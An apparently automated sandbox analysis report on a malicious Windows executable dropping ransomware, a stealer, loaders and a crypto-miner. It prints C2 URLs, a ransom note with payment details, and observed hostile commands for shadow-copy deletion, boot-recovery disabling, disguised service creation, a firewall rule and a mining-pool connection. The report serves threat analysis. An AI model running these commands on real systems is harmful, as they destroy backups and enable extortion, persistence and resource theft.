Overview

overview

10

Static

static

4ace520674...85.exe

windows7_x64

10

4ace520674...85.exe

windows10_x64

10

Analysis

  • max time kernel
    147s
  • max time network
    197s
  • platform
    windows7_x64
  • resource
    win7v20210408
  • submitted
    29/08/2021, 08:50

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General

  • Target

    4ace52067451935ebab5e0826ae22a85.exe

  • Size

    142KB

  • MD5

    4ace52067451935ebab5e0826ae22a85

  • SHA1

    f562290eb3c56f0c04fe65965174717b3d072aa2

  • SHA256

    3d59ac598ad756cfa7d56ea28d85071266ccfbcec2bc952600ff82fec99d633c

  • SHA512

    934fef4d12c30181b2d54390ed72b78086445f149c64a0ee9f5fe3aa15a397c20ac606fc7f6cacf814da7db88f0b4c5340a5a54e351ee7402ebba2698e560155

Score
10/10
buranraccoonsmokeloadertofseexmrigd02c5d65069fc7ce1993e7c52edf0c9c4c195c81fe582536ec580228180f270f7cb80a867860e010backdoordiscoveryevasionminerpersistenceransomwarespywarestealerthemidatrojan

Malware Config

Extracted

Path

C:\!!! ALL YOUR FILES ARE ENCRYPTED !!!.TXT

Family

buran

Ransom Note
!!! ALL YOUR FILES ARE ENCRYPTED !!! All your files, documents, photos, databases and other important files are encrypted. You are not able to decrypt it by yourself! The only method of recovering files is to purchase an unique private key. Only we can give you this key and only we can recover your files. PAY FAST 500$=0.013 btc or the price will increase tomorrow bitcoin address bc1qqxnp9z0ff8x852dyflp5r9r6rzse8jl5hzmqz8 To be sure we have the decryptor and it works you can send an email: [email protected] and decrypt one file for free. But this file should be of not valuable! Do you really want to restore your files? [email protected] TELEGRAM @ payfast290 Your personal ID: 1BD-373-39F Attention! * Do not rename encrypted files. * Do not try to decrypt your data using third party software, it may cause permanent data loss. * Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.

Extracted

Family

smokeloader

Version

2020

C2

http://readinglistforaugust1.xyz/

http://readinglistforaugust2.xyz/

http://readinglistforaugust3.xyz/

http://readinglistforaugust4.xyz/

http://readinglistforaugust5.xyz/

http://readinglistforaugust6.xyz/

http://readinglistforaugust7.xyz/

http://readinglistforaugust8.xyz/

http://readinglistforaugust9.xyz/

http://readinglistforaugust10.xyz/

http://readinglistforaugust1.site/

http://readinglistforaugust2.site/

http://readinglistforaugust3.site/

http://readinglistforaugust4.site/

http://readinglistforaugust5.site/

http://readinglistforaugust6.site/

http://readinglistforaugust7.site/

http://readinglistforaugust8.site/

http://readinglistforaugust9.site/

http://readinglistforaugust10.site/
rc4.i32
rc4.i32

Extracted

Family

raccoon

Botnet

fe582536ec580228180f270f7cb80a867860e010

Attributes
  • url4cnc

    https://telete.in/xylichanjk

rc4.plain
rc4.plain

Extracted

Family

raccoon

Botnet

d02c5d65069fc7ce1993e7c52edf0c9c4c195c81

Attributes
  • url4cnc

    https://telete.in/open3entershift

rc4.plain
rc4.plain

Signatures

  • Buran

    Ransomware-as-a-service based on the VegaLocker family first identified in 2019.

    ransomwareburan
  • Raccoon

    Simple but powerful infostealer which was very active in 2019.

    stealerraccoon
  • SmokeLoader

    Modular backdoor trojan in use since 2014.

    trojanbackdoorsmokeloader
  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

    minerxmrig
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
    evasion
  • XMRig Miner Payload 2 IoCs
    miner
  • Creates new service(s) 1 TTPs
    persistence
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Deletes itself 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Themida packer 2 IoCs

    Detects Themida, an advanced Windows software protection system.

    themida
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 2 IoCs
    persistence
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

    discovery
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Modifies data under HKEY_USERS 6 IoCs
  • Modifies system certificate store 2 TTPs 7 IoCs
    evasionspywaretrojan
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: MapViewOfSection 19 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 4 IoCs
  • Suspicious use of SendNotifyMessage 4 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\4ace52067451935ebab5e0826ae22a85.exe
    "C:\Users\Admin\AppData\Local\Temp\4ace52067451935ebab5e0826ae22a85.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • Suspicious use of WriteProcessMemory
    PID:1984
    • C:\Users\Admin\AppData\Local\Temp\4ace52067451935ebab5e0826ae22a85.exe
      "C:\Users\Admin\AppData\Local\Temp\4ace52067451935ebab5e0826ae22a85.exe"
      2⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      PID:1760
  • C:\Users\Admin\AppData\Local\Temp\FF65.exe
    C:\Users\Admin\AppData\Local\Temp\FF65.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of SetWindowsHookEx
    PID:1564
  • C:\Users\Admin\AppData\Local\Temp\40.exe
    C:\Users\Admin\AppData\Local\Temp\40.exe
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Modifies system certificate store
    PID:1144
  • C:\Users\Admin\AppData\Local\Temp\292.exe
    C:\Users\Admin\AppData\Local\Temp\292.exe
    1⤵
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1680
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\knctcokc\
      2⤵
        PID:548
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\hwjfrqjv.exe" C:\Windows\SysWOW64\knctcokc\
        2⤵
          PID:964
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create knctcokc binPath= "C:\Windows\SysWOW64\knctcokc\hwjfrqjv.exe /d\"C:\Users\Admin\AppData\Local\Temp\292.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:612
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description knctcokc "wifi internet conection"
            2⤵
              PID:532
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start knctcokc
              2⤵
                PID:1548
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                  PID:1608
              • C:\Windows\SysWOW64\knctcokc\hwjfrqjv.exe
                C:\Windows\SysWOW64\knctcokc\hwjfrqjv.exe /d"C:\Users\Admin\AppData\Local\Temp\292.exe"
                1⤵
                • Executes dropped EXE
                • Suspicious use of SetThreadContext
                • Suspicious use of WriteProcessMemory
                PID:1168
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe
                  2⤵
                  • Drops file in System32 directory
                  • Suspicious use of SetThreadContext
                  • Modifies data under HKEY_USERS
                  PID:1368
                  • C:\Windows\SysWOW64\svchost.exe
                    svchost.exe -o fastpool.xyz:10060 -u 9rLbTvsApFs3i3ojk5hDKicMNRQbxxFGwJA2hNC6NoZZDQN5tTFbhviFm4W3koxSrPg87Lnif7qxFYh9xpTJz1cT6B17Ph4.50000 -p x -k -a cn/half
                    3⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:1740
              • C:\Users\Admin\AppData\Local\Temp\1AA5.exe
                C:\Users\Admin\AppData\Local\Temp\1AA5.exe
                1⤵
                • Executes dropped EXE
                • Checks BIOS information in registry
                • Checks whether UAC is enabled
                • Suspicious use of NtSetInformationThreadHideFromDebugger
                • Suspicious use of AdjustPrivilegeToken
                PID:1216
              • C:\Users\Admin\AppData\Local\Temp\1E6D.exe
                C:\Users\Admin\AppData\Local\Temp\1E6D.exe
                1⤵
                • Executes dropped EXE
                • Loads dropped DLL
                • Adds Run key to start application
                • Modifies system certificate store
                • Suspicious use of AdjustPrivilegeToken
                PID:1828
                • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" -start
                  2⤵
                  • Executes dropped EXE
                  • Enumerates connected drives
                  • Modifies system certificate store
                  PID:1736
                  • C:\Windows\SysWOW64\cmd.exe
                    "C:\Windows\system32\cmd.exe" /C wmic shadowcopy delete
                    3⤵
                      PID:1664
                      • C:\Windows\SysWOW64\Wbem\WMIC.exe
                        wmic shadowcopy delete
                        4⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:2076
                    • C:\Windows\SysWOW64\cmd.exe
                      "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} recoveryenabled no
                      3⤵
                        PID:1220
                      • C:\Windows\SysWOW64\cmd.exe
                        "C:\Windows\system32\cmd.exe" /C bcdedit /set {default} bootstatuspolicy ignoreallfailures
                        3⤵
                          PID:1008
                        • C:\Windows\SysWOW64\cmd.exe
                          "C:\Windows\system32\cmd.exe" /C vssadmin delete shadows /all /quiet
                          3⤵
                            PID:2096
                            • C:\Windows\SysWOW64\vssadmin.exe
                              vssadmin delete shadows /all /quiet
                              4⤵
                              • Interacts with shadow copies
                              PID:2212
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C C:\Users\Admin\AppData\Local\Temp\~temp001.bat
                            3⤵
                              PID:2108
                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                wmic shadowcopy delete
                                4⤵
                                • Suspicious use of AdjustPrivilegeToken
                                PID:2236
                              • C:\Windows\SysWOW64\vssadmin.exe
                                vssadmin delete shadows /all /quiet
                                4⤵
                                • Interacts with shadow copies
                                PID:2400
                            • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe
                              "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\svchost.exe" -agent 0
                              3⤵
                              • Executes dropped EXE
                              • Drops file in Program Files directory
                              PID:2148
                            • C:\Windows\SysWOW64\cmd.exe
                              "C:\Windows\system32\cmd.exe" /C wbadmin delete catalog -quiet
                              3⤵
                                PID:2060
                            • C:\Windows\SysWOW64\notepad.exe
                              notepad.exe
                              2⤵
                                PID:864
                            • C:\Users\Admin\AppData\Local\Temp\214B.exe
                              C:\Users\Admin\AppData\Local\Temp\214B.exe
                              1⤵
                              • Executes dropped EXE
                              PID:1788
                            • C:\Windows\SysWOW64\explorer.exe
                              C:\Windows\SysWOW64\explorer.exe
                              1⤵
                                PID:844
                              • C:\Windows\explorer.exe
                                C:\Windows\explorer.exe
                                1⤵
                                  PID:640
                                • C:\Windows\SysWOW64\explorer.exe
                                  C:\Windows\SysWOW64\explorer.exe
                                  1⤵
                                    PID:1096
                                  • C:\Windows\explorer.exe
                                    C:\Windows\explorer.exe
                                    1⤵
                                      PID:1684
                                    • C:\Windows\SysWOW64\explorer.exe
                                      C:\Windows\SysWOW64\explorer.exe
                                      1⤵
                                        PID:956
                                      • C:\Windows\explorer.exe
                                        C:\Windows\explorer.exe
                                        1⤵
                                          PID:1168
                                        • C:\Windows\SysWOW64\explorer.exe
                                          C:\Windows\SysWOW64\explorer.exe
                                          1⤵
                                            PID:1200
                                          • C:\Windows\explorer.exe
                                            C:\Windows\explorer.exe
                                            1⤵
                                              PID:1516
                                            • C:\Windows\SysWOW64\explorer.exe
                                              C:\Windows\SysWOW64\explorer.exe
                                              1⤵
                                                PID:1068
                                              • C:\Windows\system32\vssvc.exe
                                                C:\Windows\system32\vssvc.exe
                                                1⤵
                                                • Suspicious use of AdjustPrivilegeToken
                                                PID:2304

                                              Network

                                              MITRE ATT&CK Enterprise v6

                                              Replay Monitor

                                              Loading Replay Monitor...

                                              Downloads

                                              • memory/640-115-0x0000000000070000-0x0000000000077000-memory.dmp

                                                Filesize

                                                28KB

                                                Download

                                              • memory/640-116-0x0000000000060000-0x000000000006C000-memory.dmp

                                                Filesize

                                                48KB

                                                Download

                                              • memory/844-108-0x0000000074501000-0x0000000074503000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/844-113-0x0000000000080000-0x00000000000EB000-memory.dmp

                                                Filesize

                                                428KB

                                                Download

                                              • memory/844-112-0x00000000001D0000-0x0000000000244000-memory.dmp

                                                Filesize

                                                464KB

                                                Download

                                              • memory/864-156-0x00000000000A0000-0x00000000000A1000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/956-129-0x00000000000C0000-0x00000000000C9000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/956-128-0x00000000000D0000-0x00000000000D5000-memory.dmp

                                                Filesize

                                                20KB

                                                Download

                                              • memory/1068-162-0x0000000000090000-0x0000000000095000-memory.dmp

                                                Filesize

                                                20KB

                                                Download

                                              • memory/1068-163-0x0000000000080000-0x0000000000089000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/1096-121-0x00000000000C0000-0x00000000000CB000-memory.dmp

                                                Filesize

                                                44KB

                                                Download

                                              • memory/1096-120-0x00000000000D0000-0x00000000000D7000-memory.dmp

                                                Filesize

                                                28KB

                                                Download

                                              • memory/1096-119-0x000000006F041000-0x000000006F043000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/1144-77-0x0000000000400000-0x0000000001DB5000-memory.dmp

                                                Filesize

                                                25.7MB

                                                Download

                                              • memory/1144-71-0x0000000000300000-0x000000000038F000-memory.dmp

                                                Filesize

                                                572KB

                                                Download

                                              • memory/1168-131-0x0000000000070000-0x0000000000076000-memory.dmp

                                                Filesize

                                                24KB

                                                Download

                                              • memory/1168-91-0x0000000000400000-0x0000000001D73000-memory.dmp

                                                Filesize

                                                25.4MB

                                                Download

                                              • memory/1168-132-0x0000000000060000-0x000000000006C000-memory.dmp

                                                Filesize

                                                48KB

                                                Download

                                              • memory/1200-145-0x0000000000080000-0x0000000000089000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/1200-144-0x0000000000090000-0x0000000000094000-memory.dmp

                                                Filesize

                                                16KB

                                                Download

                                              • memory/1216-104-0x00000000008C0000-0x00000000008C1000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/1216-114-0x00000000053C0000-0x00000000053C1000-memory.dmp

                                                Filesize

                                                4KB

                                                Download

                                              • memory/1224-63-0x0000000002AB0000-0x0000000002AC6000-memory.dmp

                                                Filesize

                                                88KB

                                                Download

                                              • memory/1368-88-0x0000000000080000-0x0000000000095000-memory.dmp

                                                Filesize

                                                84KB

                                                Download

                                              • memory/1516-158-0x0000000000060000-0x0000000000069000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/1516-157-0x0000000000070000-0x0000000000075000-memory.dmp

                                                Filesize

                                                20KB

                                                Download

                                              • memory/1680-78-0x0000000000220000-0x0000000000233000-memory.dmp

                                                Filesize

                                                76KB

                                                Download

                                              • memory/1680-79-0x0000000000400000-0x0000000001D73000-memory.dmp

                                                Filesize

                                                25.4MB

                                                Download

                                              • memory/1684-123-0x0000000000070000-0x0000000000079000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/1684-124-0x0000000000060000-0x000000000006F000-memory.dmp

                                                Filesize

                                                60KB

                                                Download

                                              • memory/1740-164-0x0000000000260000-0x0000000000351000-memory.dmp

                                                Filesize

                                                964KB

                                                Download

                                              • memory/1760-59-0x0000000000400000-0x0000000000409000-memory.dmp

                                                Filesize

                                                36KB

                                                Download

                                              • memory/1760-61-0x00000000767B1000-0x00000000767B3000-memory.dmp

                                                Filesize

                                                8KB

                                                Download

                                              • memory/1788-110-0x0000000000400000-0x0000000001DB7000-memory.dmp

                                                Filesize

                                                25.7MB

                                                Download

                                              • memory/1788-109-0x0000000003550000-0x00000000035DF000-memory.dmp

                                                Filesize

                                                572KB

                                                Download

                                              • memory/1984-62-0x0000000000220000-0x000000000022A000-memory.dmp

                                                Filesize

                                                40KB

                                                Download